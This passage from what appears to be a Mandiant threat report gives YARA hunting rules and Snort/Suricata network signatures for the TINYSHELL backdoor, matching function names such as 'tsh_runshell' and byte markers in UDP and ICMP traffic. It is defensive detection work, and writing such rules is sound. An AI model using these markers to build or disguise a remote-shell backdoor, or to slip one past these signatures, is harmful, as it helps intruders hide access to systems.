$pel_3 = "pel_setup_context"
$pel_4 = "pel_send_msg"
$pel_5 = "pel_recv_msg"
$pel_6 = "pel_send_all"
$pel_7 = "pel_recv_all"
$pel_8 = "pel_errno"
$pel_9 = "pel_context"
$pel_10 = "pel_ctx"
$pel_11 = "send_ctx"
$pel_12 = "recv_ctx"
condition:
4 of ($pel_*)
}
rule M_Hunting_TINYSHELL_5
{
meta:
author = "Mandiant"
strings:
$tsh_1 = "tsh_get_file"
$tsh_2 = "tsh_put_file"
$tsh_3 = "tsh_runshell"
$tshd_1 = "tshd_get_file"
$tshd_2 = "tshd_put_file"
$tshd_3 = "tshd_runshell"
condition:
all of ($tshd_*) or all of ($tsh_*)
}
Snort/Suricata Rules
alert udp any any -> any any ( msg:"M_Backdoor_TINYSHELL_deadbeef_1";
dsize:>15; content:"|44 31 3A 14 45 95 6A 73|"; offset: 0; depth:8;
threshold:type limit,track by_src,count 1,seconds 3600; sid:1000000; rev:1; )
alert udp any any -> any any ( msg:"M_Backdoor_TINYSHELL_deadbeef_2";
dsize:>15; content:"|64 11 1A 34 65 B5 4A 53|"; offset: 0; depth:8;
threshold:type limit,track by_src,count 1,seconds 3600; sid:1000001; rev:1; )
alert icmp any any -> any any ( msg:"M_Backdoor_TINYSHELL_uSarguuS62bKRA0J";
content:"|f3 d5 e7 f4 e1 f3 f3 d5 b0 b4 e4 cd d4 c7 b6 cc|"; threshold:type
limit,track by_src,count 1,seconds 3600; sid:1000002; rev:1; )
alert udp any any -> any any ( msg:"M_Backdoor_TINYSHELL_0b3330c0b41d1ae2";
dsize:>27; content:"|c5 c4 ec 4d|"; offset: 0; depth:4; content:"|a6 04 ed 83
92 46 ce 40 9a 34 8c 7b 5a d6 e5 0d|"; offset:12; depth:16; threshold:type
limit,track by_src,count 1,seconds 3600; sid:1000003; rev:1; )
-Mandiant、執筆者: Lukasz Lamparski、Punsaen Boonyakarn、Shawn Chew、Frank Tse、Jakub Jozwiak、Mathew Potaczek、Logeswaran Nadarajan、Nick Harbour、Mustafa Nasser